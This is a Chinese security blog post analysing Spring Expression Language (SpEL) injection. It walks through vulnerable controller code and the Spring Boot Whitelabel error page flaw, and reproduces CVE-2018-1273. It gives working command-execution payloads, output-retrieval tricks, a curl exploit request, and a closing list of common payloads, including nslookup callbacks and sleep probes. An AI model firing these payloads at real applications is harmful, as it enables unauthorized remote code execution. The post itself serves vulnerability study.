SPEL注入分析

前言

本篇探讨一下关于SPEL注入漏洞实现命令执行的相关知识。

0x01 关于SPEL

SPEL简介

Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于Unified EL,但提供了额外的功能,特别是方法调用和基本的字符串模板功能。同时因为SpEL是以API接口的形式创建的,所以允许将其集成到其他应用程序和框架中。

SPEL基础用法

1. 传递字符参数

@Controller public class spel { @RequestMapping("/spel") @ResponseBody public String spel(String input){ SpelExpressionParser parser = new SpelExpressionParser(); Expression expression = parser.parseExpression(input); return expression.getValue().toString(); } }

image-20220308111324387

2. 传递类方法

除了上面传递字符参数,还可以指定一个类使用一个类的类方法:

T(java.lang.Runtime).getRuntime().exec("calc")

@GetMapping("/spel/vuln") public String rce(String expression) { ExpressionParser parser = new SpelExpressionParser(); // fix method: SimpleEvaluationContext return parser.parseExpression(expression).getValue().toString(); }

image-20220309142849110

3. 实例化类执行方法

new 类名,可以直接new一个对象,再执行其中的方法

new java.lang.ProcessBuilder("open", "-a","Calculator").start()

@GetMapping("/spel/vuln") public String rce(String expression) { ExpressionParser parser = new SpelExpressionParser(); // fix method: SimpleEvaluationContext return parser.parseExpression(expression).getValue().toString(); }

image-20220309144240266

4. spel定界符

SpEL使用 #{...} 作为定界符,所有在大括号中的字符都将被认为是 SpEL表达式,我们可以在其中使用运算符,变量以及引用bean,属性和方法如:

引用其他对象:#{car} 引用其他对象的属性:#{car.brand} 调用其它方法 , 还可以链式操作:#{car.toString()}

其中属性名称引用还可以用$符号 如:${someProperty}
除此以外在SpEL中,使用T()运算符会调用类作用域的方法和常量。例如,在SpEL中使用Java的Math类,我们可以像下面的示例这样使用T()运算符:

\#{T(java.lang.Math)}

T()运算符的结果会返回一个java.lang.Math类对象。

0x02 SPEL命令执行回显

前面看到已经可以通过spel执行命令,现在看一下回显的方式

1. commons-io

T(org.apache.commons.io.IOUtils).toString(payload).getInputStream())

使用commons-io这个组件实现回显,这种方式会受限于目标服务器是否存在这个组件,springboot默认环境下都没有用到这个组件

2. JShell

T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()

使用jdk>=9中的JShell,这种方式会受限于jdk的版本问题

3. JDK原生回显类BufferedReader

new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder( "whoami").start().getInputStream(), "gbk")).readLine()

image-20220309145938913

但是这个类只能读取一行

4. Scanner回显

new java.util.Scanner(new java.lang.ProcessBuilder("ls").start().getInputStream(), "GBK").useDelimiter("asfsfsdfsf").next()

image-20220309150317752

0x03 SPEL漏洞复现

1. springboot的SPEL注入

影响版本:

  • 1.1.0-1.1.12
  • 1.2.0-1.2.7
  • 1.3.0

修改pom:

<parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>1.2.0.RELEASE</version> <relativePath/> <!-- lookup parent from repository --> </parent>

image-20220309155317630

在启动是可能会报一个:Error:(4, 45) java: 程序包org.springframework.boot.test.context不存在,的错误,可能是版本过低导致,可以采用关闭测试类的方式解决:

<properties> <java.version>1.8</java.version> <!--关闭测试类--> <skipTests>true</skipTests> </properties>

然后 添加一个controller:

@Controller public class TestController { @RequestMapping("/") public String test(String payload){ System.out.println("test"); throw new IllegalArgumentException(payload); } }

进行注入:

image-20220309155933187

计算可以成功,但是计算器失败:

image-20220309160004002

首先造成spel注入的主要是ErrorMvcAutoConfiguration.java中的SpelView类:

private static class SpelView implements View { private final String template; private final StandardEvaluationContext context = new StandardEvaluationContext(); private PropertyPlaceholderHelper helper; private PlaceholderResolver resolver; public SpelView(String template) { this.template = template; this.context.addPropertyAccessor(new MapAccessor()); this.helper = new PropertyPlaceholderHelper("${", "}"); this.resolver = new ErrorMvcAutoConfiguration.SpelPlaceholderResolver(this.context); } public String getContentType() { return "text/html"; } public void render(Map<String, ?> model, HttpServletRequest request, HttpServletResponse response) throws Exception { if(response.getContentType() == null) { response.setContentType(this.getContentType()); } Map<String, Object> map = new HashMap(model); map.put("path", request.getContextPath()); this.context.setRootObject(map); String result = this.helper.replacePlaceholders(this.template, this.resolver); response.getWriter().append(result); } }

SpelView主要是为了解析Whitelabel Error Page模板页面去填充其中的相关数据在SpelView中,我们可以看到使用了StandardEvaluationContext:

private final StandardEvaluationContext context = new StandardEvaluationContext(); this.helper = new PropertyPlaceholderHelper("${", "}");

用于递归解析在${...}中的表达式,也就是这里导致SpEl表达式注入并执行。其中用到SpEl表达式解析执行的目的主要是为了从当前contextrootObject取相关数据 如timestamp

然后PropertyPlaceholderHelper类中通过parseStringValue方法递归字符串找到目标去掉 $(),这个方法中调用resolvePlaceholder方法来在context中找到对应的name,并在这里执行了getValue操作。由此造成命令执行:

public String resolvePlaceholder(String name) { Expression expression = this.parser.parseExpression(name); try { Object value = expression.getValue(this.context); return HtmlUtils.htmlEscape(value == null?null:value.toString()); } catch (Exception var4) { return null; } }

这里面还有一个有意思的是直接用上面的payload去执行是不行的,原因是里面有一个convertToReference方法对特殊字符进行的编码,有兴趣可以查看一下参考文章的断点调试。

${new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()}

image-20220309163403745

2. CVE-2018-1273 Spring Data Commons RCE

payload:

curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('open -a Calculator')]=test"

image-20220309170820139

漏洞形成的原因就是当用户在开发中利用了Spring-data-commons中的特性对用户的输入参数进行自动匹配时候,会将用户提交的form表单中的参数名作为SpEL执行。

总结

常用payload

${12*12} T(java.lang.Runtime).getRuntime().exec("nslookup a.com") T(Thread).sleep(10000) #this.getClass().forName('java.lang.Runtime').getRuntime().exec('nslookup a.com') new java.lang.ProcessBuilder({'nslookup a.com'}).start()

参考

https://www.cnblogs.com/bitterz/p/15206255.html

http://rui0.cn/archives/1043


__EOF__

本文作者N0r4h
本文链接https://www.cnblogs.com/N0r4h/p/15986151.html
关于博主:一个废物到自闭的人
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力!
posted @   N0r4h  阅读(827)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构
· AI与.NET技术实操系列(六):基于图像分类模型对图像进行分类
点击右上角即可分享
微信分享提示